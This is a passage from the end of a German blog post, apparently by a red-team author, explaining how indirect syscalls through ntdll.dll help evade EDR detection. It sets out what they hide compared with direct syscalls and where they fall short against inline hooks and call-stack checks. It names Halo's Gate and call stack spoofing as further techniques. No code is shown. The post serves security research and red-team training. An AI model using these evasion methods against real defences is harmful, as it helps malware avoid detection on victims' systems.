Abhängig vom jeweiligen EDR können Direct Syscalls für verschiedene Aktivitäten, wie z.B. die Ausführung von Shellcode für den Initial Access, noch eine sinnvolle Technik sein. Wenn der EDR jedoch z.B. prüft, aus welchem Speicherbereich die Syscall-Anweisung und die Return-Anweisung ausgeführt werden bzw. auf welchen Speicherbereich die Return-Anweisung zeigt, können Direct Syscalls im Zusammenhang mit EDR Evasion zu Problemen führen, da die Syscall-Anweisung und die Return-Anweisung aus dem Speicher des Assembly selbst ausgeführt werden und die Return-Anweisung ebenfalls aus dem Speicher des Assembly auf den Speicher des Assembly zeigt.

Um diese Probleme im Zusammenhang mit EDR Evasion zu umgehen, können Indirect Syscalls helfen. Bei der Verwendung von Indirect Syscalls wird die Syscall und Return Anweisung innerhalb des Speichers der ntdll.dll ausgeführt. Dies ist ein legitimes Verhalten unter Windows und wir haben eine IOC im Vergleich zu Direct Syscalls eliminiert. Eine weitere IOC wird dadurch eliminiert, dass die Return-Anweisung im Speicher der ntdll.dll erfolgt und nicht wie bisher bei der Verwendung von Direct Syscalls aus dem Speicher des Assembly selbst. Außerdem zeigt die Return-Anweisung vom Speicher der ntdll.dll auf den Speicher des Indirect Syscall Assembly und nicht wie bisher bei der Verwendung von Direct Syscalls vom Speicher des Assembly auf den Speicher des Assembly.

Indirect Syscalls sind eine gute Weiterentwicklung von Direct Syscalls, haben aber auch ihre Grenzen. Im Kontext des Indirect Syscall POCs, der in diesem Blog Post verwendet wurde, gibt es zum Beispiel Einschränkungen, wenn eine Native API durch den EDR mittels Inline Hook gehookt wird. Warum? Da der Inline Hook durch den EDR die Zeile mov eax SSN in der betroffenen Nativen API durch eine unkonditionierte Jump-Anweisung (jmp) ersetzt, ist es nicht möglich, die Syscall Number (SSN) dynamisch aus der im Speicher geladenen ntdll.dll zu extrahieren. Dazu müsste zuerst der Inline Hook in der betroffenen Native API entfernt werden, erst dann kann die SSN aus mov eax SSN extrahiert werden. Achtung eine wichtige Erkenntnis, über die ich am Anfang gestolpert bin, ein EDR kann die Speicheradresse mov eax SSN mit einem Hook oder mit einer jmp Instruktion versehen. Der EDR kann aber niemals die Syscall Instruktion selbst syscall mit einem Hook versehen. Diese Erkenntnis ist wichtig, denn so kann der EDR niemals verhindern, dass wir mittels Indirect Syscalls den Syscall innerhalb des Speichers der ntdll.dll ausführen.


Ein weiterer Ansatz zur dynamischen Extraktion der SSN aus dem Stub einer "sauberen" bzw. nicht gehookten Native API ist die Halo's Gate-Technik (eine Weiterentwicklung von Hell's Gate). Dazu empfehle ich den Artikel "Halo's Gate - twin sister of Hell's Gate" von @SEKTOR7net, die die Halo's Gate Technik entwickelt haben und auch der Artikel "EDR Bypass: Retrieving Syscall ID with Hell's Gate, Halo's Gate, FreshyCalls and Syswhispers2" von @AliceCliment ist sehr empfehlenswert zu lesen.

Eine weitere Einschränkung im Zusammenhang mit Indirect Syscalls ergibt sich, wenn z.B. der EDR nicht nur die Return-Adresse überprüft, sondern auch den Call Stack selbst mittels Etw. auf seine Legitimität überprüft. Dazu reichen Indirect Syscalls alleine nicht aus und man muss sich zusätzlich mit dem Thema Call Stack Spoofing auseinandersetzen. Dieses Thema sprengt aber definitiv den Rahmen dieses Blogs und wird hoffentlich im nächsten Artikel behandelt.

Alle Code Samples in diesem Artikel sind auch auf meinem Github Account zu finden.

Happy Hacking!

Daniel Feichter @VirtualAllocEx

Zuletzt aktualisiert 27.03.24 17:49:57 27.03.24
Daniel Feichter